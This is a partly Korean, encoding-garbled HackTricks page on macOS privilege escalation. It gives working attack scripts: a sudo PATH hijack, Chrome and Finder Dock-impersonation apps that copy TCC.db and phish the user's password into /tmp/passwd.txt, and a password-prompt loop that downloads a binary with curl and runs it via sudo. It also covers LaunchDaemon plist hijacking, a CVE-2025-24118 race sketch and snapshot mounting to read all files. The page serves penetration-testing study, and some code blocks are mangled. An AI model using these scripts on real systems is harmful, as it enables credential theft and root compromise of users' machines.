macOS Privilege Escalation

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

TCC Privilege Escalation

If you came here looking for TCC privilege escalation go to:

macOS TCC

Linux Privesc

์ฐธ๊ณ : most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS ์‹œ์Šคํ…œ์—๋„ ์˜ํ–ฅ์„ ์ค๋‹ˆ๋‹ค. ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

Linux Privilege Escalation

์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ

Sudo Hijacking

์›๋ณธ Sudo Hijacking technique inside the Linux Privilege Escalation post๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ macOS๋Š” ์‚ฌ์šฉ์ž๊ฐ€ **sudo**๋ฅผ ์‹คํ–‰ํ•  ๋•Œ ์‚ฌ์šฉ์ž์˜ **PATH**๋ฅผ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ด ๊ณต๊ฒฉ์„ ๋‹ฌ์„ฑํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ํ”ผํ•ด์ž๊ฐ€ running sudoํ•  ๋•Œ ์‹คํ–‰ํ•  ๋‹ค๋ฅธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ hijack other binariesํ•˜๋Š” ๊ฒƒ์ž„์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Note that a user that uses the terminal will highly probable have Homebrew installed. So itโ€™s possible to hijack binaries in /opt/homebrew/bin.

Dock ์‚ฌ์นญ

Using some social engineering you could impersonate for example Google Chrome inside the dock and actually execute your own script:

๋ช‡ ๊ฐ€์ง€ ์ œ์•ˆ:

  • Dock์—์„œ Chrome์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ์žˆ๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น ํ•ญ๋ชฉ์„ ์ œ๊ฑฐํ•œ ํ›„ Dock ๋ฐฐ์—ด์˜ ๋™์ผํ•œ ์œ„์น˜์— ๊ฐ€์งœ Chrome ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”.
Chrome Dock ์‚ฌ์นญ ์Šคํฌ๋ฆฝํŠธ ```bash #!/bin/sh

THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

If you want to removed granted TCC permissions: > delete from access where client LIKE โ€˜%Chrome%โ€™;

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

Create App structure

mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

Payload to execute

cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<โ€˜EOFโ€™ #include <stdio.h> #include <stdlib.h> #include <unistd.h>

int main() { char *cmd = โ€œopen /Applications/Google\\ Chrome.app & โ€œ โ€œsleep 2; โ€œ โ€œosascript -e โ€˜tell application "Finder"โ€™ -e โ€˜set homeFolder to path to home folder as stringโ€™ -e โ€˜set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as aliasโ€™ -e โ€˜set targetFolder to POSIX file "/tmp" as aliasโ€™ -e โ€˜duplicate file sourceFile to targetFolder with replacingโ€™ -e โ€˜end tellโ€™; โ€œ โ€œPASSWORD=$(osascript -e โ€˜Tell application "Finder"โ€™ -e โ€˜Activateโ€™ -e โ€˜set userPassword to text returned of (display dialog "Enter your password to update Google Chrome:" default answer "" with hidden answer buttons {"OK"} default button 1 with icon file "Applications:Google Chrome.app:Contents:Resources:app.icns")โ€™ -e โ€˜end tellโ€™ -e โ€˜return userPasswordโ€™); โ€œ โ€œecho $PASSWORD > /tmp/passwd.txtโ€; system(cmd); return 0; } EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

Info.plist

cat << โ€˜EOFโ€™ > /tmp/Google\ Chrome.app/Contents/Info.plist

CFBundleExecutable Google Chrome CFBundleIdentifier com.google.Chrome CFBundleName Google Chrome CFBundleVersion 1.0 CFBundleShortVersionString 1.0 CFBundleInfoDictionaryVersion 6.0 CFBundlePackageType APPL CFBundleIconFile app EOF

Copy icon from Google Chrome

cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

Add to Dock

defaults write com.apple.dock persistent-apps -array-add โ€˜tile-datafile-data_CFURLString/tmp/Google Chrome.app_CFURLStringType0โ€™ sleep 0.1 killall Dock

</details>

{{#endtab}}

{{#tab name="Finder Impersonation"}}
๋ช‡ ๊ฐ€์ง€ ์ œ์•ˆ:

- Finder๋Š” **Dock์—์„œ ์ œ๊ฑฐํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค**, ๋”ฐ๋ผ์„œ Dock์— ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด ๊ฐ€์งœ Finder๋ฅผ ์‹ค์ œ Finder ๋ฐ”๋กœ ์˜†์— ๋‘˜ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” **Dock ๋ฐฐ์—ด์˜ ๋งจ ์•ž์— ๊ฐ€์งœ Finder ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€**ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
- ๋‹ค๋ฅธ ์˜ต์…˜์€ Dock์— ์ถ”๊ฐ€ํ•˜์ง€ ์•Š๊ณ  ๊ทธ๋ƒฅ ์—ด๊ธฐ์ž…๋‹ˆ๋‹ค. "Finder๊ฐ€ Finder๋ฅผ ์ œ์–ดํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค"์™€ ๊ฐ™์€ ๋ฉ”์‹œ์ง€๋Š” ๊ทธ๋ฆฌ ์ด์ƒํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
- ๋˜ ๋‹ค๋ฅธ ์˜ต์…˜์€ ๋”์ฐํ•œ ์ธ์ฆ ์ฐฝ ์—†์ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฌป์ง€ ์•Š๊ณ  **escalate to root without asking** ํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ, Finder๊ฐ€ ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ๋•Œ ์‹ค์ œ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฌป๋„๋ก ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:
- Finder์—๊ฒŒ **`/etc/pam.d`**์— ์ƒˆ๋กœ์šด **`sudo`** ํŒŒ์ผ์„ ๋ณต์‚ฌํ•˜๋„๋ก ์š”์ฒญํ•˜์„ธ์š” (๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ์„ ์š”๊ตฌํ•˜๋Š” ํ”„๋กฌํ”„ํŠธ์—๋Š” "Finder wants to copy sudo"๋ผ๊ณ  ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค)
- Finder์—๊ฒŒ ์ƒˆ๋กœ์šด **Authorization Plugin**์„ ๋ณต์‚ฌํ•˜๋„๋ก ์š”์ฒญํ•˜์„ธ์š” (ํŒŒ์ผ ์ด๋ฆ„์„ ์ œ์–ดํ•˜๋ฉด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฌป๋Š” ํ”„๋กฌํ”„ํŠธ์— "Finder wants to copy Finder.bundle"์ด๋ผ๊ณ  ํ‘œ์‹œ๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค)

<details>
<summary>Finder Dock ์‚ฌ์นญ ์Šคํฌ๋ฆฝํŠธ</summary>
```bash
#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';

rm -rf /tmp/Finder.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources

# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo $PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c

chmod +x /tmp/Finder.app/Contents/MacOS/Finder

# Info.plist
cat << 'EOF' > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

Password prompt phishing + sudo reuse

๋ฉ€์›จ์–ด๋Š” ์ข…์ข… ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์„ ์•…์šฉํ•˜์—ฌ sudo-capable password๋ฅผ ์บก์ฒ˜ํ•˜๊ณ  ํ”„๋กœ๊ทธ๋ž˜๋ฐ์ ์œผ๋กœ ์žฌ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ํ๋ฆ„:

  1. ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž๋ฅผ whoami๋กœ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  2. Loop password prompts โ€” dscl . -authonly "$user" "$pw"๊ฐ€ ์„ฑ๊ณต์„ ๋ฐ˜ํ™˜ํ•  ๋•Œ๊นŒ์ง€ ๋ฐ˜๋ณตํ•ฉ๋‹ˆ๋‹ค.
  3. ์ž๊ฒฉ ์ฆ๋ช…(์˜ˆ: /tmp/.pass)์„ ์บ์‹œํ•˜๊ณ  sudo -S (password over stdin)๋ฅผ ์‚ฌ์šฉํ•ด ๊ถŒํ•œ ์žˆ๋Š” ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Example minimal chain:

user=$(whoami)
while true; do
read -s -p "Password: " pw; echo
dscl . -authonly "$user" "$pw" && break
done
printf '%s\n' "$pw" > /tmp/.pass
curl -o /tmp/update https://example.com/update
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update

ํƒˆ์ทจํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์ดํ›„ ์žฌ์‚ฌ์šฉ๋˜์–ด clear Gatekeeper quarantine with xattr -c, LaunchDaemons ๋˜๋Š” ๊ธฐํƒ€ ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•˜๊ณ  ์ถ”๊ฐ€ ๋‹จ๊ณ„๋ฅผ ๋น„๋Œ€ํ™”์‹์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ตœ์‹  macOS ํŠน์ • ๋ฒกํ„ฐ (2023โ€“2025)

๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š๋Š” AuthorizationExecuteWithPrivileges๋Š” ์—ฌ์ „ํžˆ ์‚ฌ์šฉ ๊ฐ€๋Šฅ

AuthorizationExecuteWithPrivileges๋Š” 10.7์—์„œ ๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š์•˜์ง€๋งŒ Sonoma/Sequoia์—์„œ ์—ฌ์ „ํžˆ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ ์ƒ์šฉ ์—…๋ฐ์ดํŠธ ํ”„๋กœ๊ทธ๋žจ์ด /usr/libexec/security_authtrampoline์„(๋ฅผ) ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ๋กœ์™€ ํ•จ๊ป˜ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์ƒ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ user-writable์ธ ๊ฒฝ์šฐ trojan์„ ์‹ฌ๊ณ  ์ •๋‹นํ•œ ํ”„๋กฌํ”„ํŠธ๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# find vulnerable helper calls
log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'

# replace expected helper
cp /tmp/payload /Users/me/Library/Application\ Support/Target/helper
chmod +x /Users/me/Library/Application\ Support/Target/helper
# when the app updates, the root prompt spawns your payload

์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์•”ํ˜ธ ์ž…๋ ฅ ์ฐฝ์„ ํ‘œ์‹œํ•˜๋ ค๋ฉด masquerading tricks above์™€ ๊ฒฐํ•ฉํ•˜์„ธ์š”.

LaunchDaemon plist hijack (CVE-2025-24085 pattern)

LaunchDaemon plist ๋˜๋Š” ๊ทธ ProgramArguments ๋Œ€์ƒ์ด user-writable์ด๋ฉด, ์ด๋ฅผ ๊ต์ฒดํ•œ ๋‹ค์Œ launchd๊ฐ€ ๋‹ค์‹œ ๋กœ๋“œํ•˜๋„๋ก ๊ฐ•์ œํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo launchctl bootout system /Library/LaunchDaemons/com.apple.securemonitor.plist
cp /tmp/root.sh /Library/PrivilegedHelperTools/securemonitor
chmod 755 /Library/PrivilegedHelperTools/securemonitor
cat > /Library/LaunchDaemons/com.apple.securemonitor.plist <<'PLIST'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>Label</key><string>com.apple.securemonitor</string>
<key>ProgramArguments</key>
<array><string>/Library/PrivilegedHelperTools/securemonitor</string></array>
<key>RunAtLoad</key><true/>
</dict></plist>
PLIST
sudo launchctl bootstrap system /Library/LaunchDaemons/com.apple.securemonitor.plist

This mirrors the exploit pattern published for CVE-2025-24085, where a writable plist was abused to execute attacker code as root.

XNU SMR credential race (CVE-2025-24118)

A race in kauth_cred_proc_update lets a local attacker corrupt the read-only credential pointer (proc_ro.p_ucred) by racing setgid()/getgid() loops across threads until a torn memcpy occurs. Successful corruption yields uid 0 and kernel memory access. Minimal PoC structure:

// thread A
while (1) setgid(rand());
// thread B
while (1) getgid();

Couple with heap grooming to land controlled data where the pointer re-reads. On vulnerable builds this is a reliable local kernel privesc without SIP bypass requirements.

SIP bypass via Migration assistant (โ€œMigraineโ€, CVE-2023-32369)

If you already have root, SIP still blocks writes to system locations. The Migraine bug abuses the Migration Assistant entitlement com.apple.rootless.install.heritable to spawn a child process that inherits SIP bypass and overwrites protected paths (e.g., /System/Library/LaunchDaemons). The chain:

  1. Obtain root on a live system.
  2. Trigger systemmigrationd with crafted state to run an attacker-controlled binary.
  3. Use inherited entitlement to patch SIP-protected files, persisting even after reboot.

NSPredicate/XPC expression smuggling (CVE-2023-23530/23531 bug class)

Multiple Apple daemons accept NSPredicate objects over XPC and only validate the expressionType field, which is attacker-controlled. By crafting a predicate that evaluates arbitrary selectors you can achieve code execution in root/system XPC services (e.g., coreduetd, contextstored). When combined with an initial app sandbox escape, this grants privilege escalation without user prompts. Look for XPC endpoints that deserialize predicates and lack a robust visitor.

TCC - Root Privilege Escalation

CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation

Any user (even unprivileged ones) can create and mount a time machine snapshot an access ALL the files of that snapshot.
The only privileged needed is for the application used (like Terminal) to have Full Disk Access (FDA) access (kTCCServiceSystemPolicyAllfiles) which need to be granted by an admin.

Time Machine ์Šค๋ƒ…์ƒท ๋งˆ์šดํŠธ ```bash # Create snapshot tmutil localsnapshot

List snapshots

tmutil listlocalsnapshots / Snapshots for disk /: com.apple.TimeMachine.2023-05-29-001751.local

Generate folder to mount it

cd /tmp # I didn it from this folder mkdir /tmp/snap

Mount it, โ€œnoownersโ€ will mount the folder so the current user can access everything

/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

Access it

ls /tmp/snap/Users/admin_user # This will work

</details>

๋” ์ž์„ธํ•œ ์„ค๋ช…์€ [**found in the original report**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**

## ๋ฏผ๊ฐํ•œ ์ •๋ณด

์ด๋Š” ๊ถŒํ•œ ์ƒ์Šน์— ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:


<a class="content_ref" href="macos-files-folders-and-binaries/macos-sensitive-locations.md"><span class="content_ref_label">macOS Sensitive Locations & Interesting Daemons</span></a>

## ์ฐธ๊ณ ์ž๋ฃŒ

- [Microsoft "Migraine" SIP bypass (CVE-2023-32369)](https://www.microsoft.com/en-us/security/blog/2023/05/30/new-macos-vulnerability-migraine-could-bypass-system-integrity-protection/)
- [CVE-2025-24118 SMR credential race write-up & PoC](https://github.com/jprx/CVE-2025-24118)

> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>